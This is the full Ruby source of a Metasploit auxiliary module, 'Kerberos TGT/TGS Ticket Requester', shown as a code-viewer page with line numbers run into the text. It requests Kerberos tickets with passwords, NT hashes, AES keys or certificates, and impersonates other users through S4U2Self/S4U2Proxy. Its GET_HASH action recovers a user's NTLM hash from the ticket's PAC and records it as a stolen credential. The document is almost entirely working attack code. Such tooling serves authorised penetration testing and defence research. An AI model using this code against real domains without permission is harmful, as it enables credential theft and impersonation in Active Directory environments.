Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
21537 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos8include Msf::Exploit::Remote::Kerberos::Client9include Msf::Exploit::Remote::Kerberos::Ticket::Storage1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Kerberos TGT/TGS Ticket Requester',16'Description' => %q{17This module requests TGT/TGS Kerberos tickets from the KDC18},19'Author' => [20'Christophe De La Fuente', # Metasploit module21'Spencer McIntyre', # Metasploit module22# pkinit authors23'Will Schroeder', # original idea/research24'Lee Christensen', # original idea/research25'Oliver Lyak', # certipy implementation26'smashery' # Metasploit module27],28'License' => MSF_LICENSE,29'Notes' => {30'AKA' => ['getTGT', 'getST'],31'Stability' => [ CRASH_SAFE ],32'SideEffects' => [ ],33'Reliability' => [ ]34},35'Actions' => [36[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],37[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],38[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]39],40'DefaultAction' => 'GET_TGT',41'AKA' => ['PKINIT']42)43)4445register_options(46[47OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),48OptString.new('USERNAME', [ false, 'The domain user' ]),49OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),50OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),51OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),52OptString.new(53'NTHASH', [54false,55'The NT hash in hex string. Server must support RC4'56]57),58OptString.new(59'AES_KEY', [60false,61'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'62]63),64OptString.new(65'SPN', [66false,67'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'68],69conditions: %w[ACTION == GET_TGS]70),71OptString.new(72'IMPERSONATE', [73false,74'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',75],76conditions: %w[ACTION == GET_TGS]77),78OptKerberosCredentialCache.new(79'Krb5Ccname', [80false,81'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'82],83conditions: %w[ACTION == GET_TGS]84),85]86)8788deregister_options('KrbCacheMode')89end9091def validate_options92if datastore['CERT_FILE'].present?93pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)94@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]9596if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?97fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')98elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?99fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')100end101102begin103@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])104rescue ArgumentError => e105fail_with(Failure::BadConfig, e.message)106end107else # USERNAME and DOMAIN are required when they can't be extracted from the certificate108@username = datastore['USERNAME']109fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?110111@realm = datastore['DOMAIN']112fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?113end114115if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)116fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')117end118119if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)120fail_with(Failure::BadConfig,121'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')122end123124if action.name == 'GET_TGS' && datastore['SPN'].blank?125fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")126end127128if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?129fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")130end131132if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})133fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')134end135end136137def run138validate_options139140result = send("action_#{action.name.downcase}")141142report_service(143host: rhost,144port: rport,145proto: 'tcp',146name: 'kerberos',147info: "Module: #{fullname}, KDC for domain #{@realm}"148)149150result151rescue ::Rex::ConnectionError => e152elog('Connection error', error: e)153fail_with(Failure::Unreachable, e.message)154rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,155::EOFError => e156msg = e.to_s157if e.respond_to?(:error_code) &&158e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED159msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'160end161fail_with(Failure::Unknown, msg)162end163164def init_authenticator(options = {})165options.merge!({166host: rhost,167realm: @realm,168username: @username,169pfx: @pfx,170framework: framework,171framework_module: self172})173options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?174if datastore['NTHASH'].present?175options[:key] = [datastore['NTHASH']].pack('H*')176options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]177end178if datastore['AES_KEY'].present?179options[:key] = [ datastore['AES_KEY'] ].pack('H*')180options[:offered_etypes] = if options[:key].size == 32181[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]182else183[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]184end185end186187Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)188end189190def action_get_tgt191print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")192193# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made194authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })195authenticator.request_tgt_only196end197198def action_get_tgs199authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })200tgt_request_options = {}201if datastore['Krb5Ccname'].present?202tgt_request_options[:cache_file] = datastore['Krb5Ccname']203end204credential = authenticator.request_tgt_only(tgt_request_options)205206if datastore['IMPERSONATE'].present?207print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")208209sname = Rex::Proto::Kerberos::Model::PrincipalName.new(210name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,211name_string: [@username]212)213auth_options = {214sname: sname,215impersonate: datastore['IMPERSONATE']216}217tgs_ticket, _tgs_auth = authenticator.s4u2self(218credential,219auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))220)221222auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(223name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,224name_string: datastore['SPN'].split('/')225)226auth_options[:tgs_ticket] = tgs_ticket227authenticator.s4u2proxy(credential, auth_options)228else229print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")230231sname = Rex::Proto::Kerberos::Model::PrincipalName.new(232name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,233name_string: datastore['SPN'].split('/')234)235tgs_options = {236sname: sname,237ticket_storage: kerberos_ticket_storage(read: false)238}239240authenticator.request_tgs_only(credential, tgs_options)241end242end243244def action_get_hash245authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })246auth_context = authenticator.authenticate_via_kdc(options)247credential = auth_context[:credential]248249print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")250251session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(252type: credential.keyblock.enctype.value,253value: credential.keyblock.data.value254)255256tgs_ticket, _tgs_auth = authenticator.u2uself(credential)257258ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(259tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)260)261value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value262pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)263pac_info_buffer = pac.pac_info_buffers.find do |buffer|264buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION265end266unless pac_info_buffer267print_error('NTLM hash not found in PAC')268return269end270271serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])272ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash273print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")274275report_ntlm(ntlm_hash)276ntlm_hash277end278279def report_ntlm(hash)280jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)281service_data = {282address: rhost,283port: rport,284service_name: 'kerberos',285protocol: 'tcp',286workspace_id: myworkspace_id287}288credential_data = {289module_fullname: fullname,290origin_type: :service,291private_data: hash,292private_type: :ntlm_hash,293jtr_format: jtr_format,294username: @username,295realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,296realm_value: @realm297}.merge(service_data)298299credential_core = create_credential(credential_data)300301login_data = {302core: credential_core,303status: Metasploit::Model::Login::Status::UNTRIED304}.merge(service_data)305306create_credential_login(login_data)307end308end309310311